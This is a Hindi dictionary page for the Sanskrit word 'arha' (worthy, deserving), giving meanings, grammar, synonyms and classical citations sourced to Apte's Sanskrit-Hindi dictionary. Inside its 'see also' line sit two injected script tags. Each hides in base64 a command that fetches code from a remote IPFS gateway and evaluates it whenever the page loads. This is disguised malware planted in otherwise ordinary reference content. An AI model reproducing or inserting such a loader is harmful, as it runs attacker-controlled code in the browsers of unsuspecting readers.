अर्ह

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शब्द संदर्भ
हिन्दी आदरणीय, माननीय, उपयुक्त, योग्य, अधिकारी, पात्र, मूल्यवान, मूल्य, पूज्य, इन्द्र, विष्णु
-व्याकरण    धातु, विशेषण, पुल्लिंग
-उदाहरण   पूजार्ह- (पूजा+अर्ह), पूजा के योग्य, पूजनीय, दंडार्ह- (दंड+अर्ह), दंड के योग्य, दंडनीय
-विशेष    यौगिक शब्द बनाने में विशेषण रूप में 'अर्ह' (उपयुक्त/योग्य) का उपयोग अधिक होता है।
-विलोम   
-पर्यायवाची    इन्द्र, अनंतदृष्टि, अर्ह, देवेंद्र, देवेश, अर्घ, मूल्य, अर्थ, उपयोगी, उपयुक्त, फ़ायदेमंद, योग्य, व्यवहार्य, हितकारी
संस्कृत [अर्ह्+अच्], आदरणीय, आदर योग्य, पात्र, अधिकारी,-[1], योग्य, दावेदार, अधिकारी- [2], [3], [4], इसी प्रकार मान. वध. दंड. आदि सुहावना, उचित, उपयुक्त-[5], [6]
अन्य ग्रंथ
संबंधित शब्द
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अन्य शब्दों के अर्थ के लिए देखें शब्द संदर्भ कोश

अर्ह (विशेषण) [अर्ह+अच्]

1. आदरणीय, आदर योग्य, पात्र, अधिकारी-अर्हावभेोजयन् विप्रो दण्डमर्हति माषकम्-मनुस्मृति 8/392
2. योग्य, दावेदार, अधिकारी, (कर्म., तुमुन्नन्त, तथा समास में)-नैवार्हः पैतृकं रिक्थं पतितोत्पादितो हि सः-मनु. 9/144, संस्कारमर्हस्त्वं न च लप्स्यसे-रामा., तस्मान्नार्हा वयं हन्तुं धार्तराष्ट्रान् स्वबान्धवान्-भग. 1/37, इसी प्रकार मान वध दंड आदि।
3. सुहावना, उचित, उपयुक्त-केवलं यानमर्ह स्यात्-पंच. 3, (संबं. के साथ भी)-स भृत्योऽर्हो महीभुजाम् पंच. 1/87-92
4. उचित मूल्य का, कीमत का, -र्हः (पुल्लिंग)
1. इन्द्र
2. विष्णु
3. मूल्य (जैसा कि 'महार्ह' में)-महार्ह-शय्यापरिवर्तनच्युतैः-कु. 5/12, (महानहों यस्याः-मल्लिनाथ)-र्हा (स्त्रीलिंग) पूजा, आराधना।[7]


इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: संस्कृत-हिन्दी शब्दकोश (संकेताक्षर सूची), संस्कृत-हिन्दी शब्दकोश (संकेत सूची) एवं संस्कृत-हिन्दी शब्दकोश<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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टीका टिप्पणी और संदर्भ

  1. अर्हाविभोजयन् विप्रो दण्यमर्हति माषकम्- मनुस्मृति 8/312
  2. नैवार्हः पैतृकं रिकथं पतितोत्पादितो हि सः- मनुस्मृति 9/144
  3. संस्कारमर्हस्त्वं न च लप्स्यसे-रामायण
  4. तस्मान्नार्हा वयं हन्तुंधार्तराष्ट्रान् स्वबान्धवान्- भगवदगीता 1/37
  5. केवलं यानमर्ह स्यात्- पंचतंत्र 3
  6. स भृत्योऽर्हो महीभुजाम् पंचतंत्र 1/87-92
  7. संस्कृत-हिन्दी शब्दकोश |लेखक: वामन शिवराम आप्टे |प्रकाशक: कमल प्रकाशन, नई दिल्ली-110002 |पृष्ठ संख्या: 110 |

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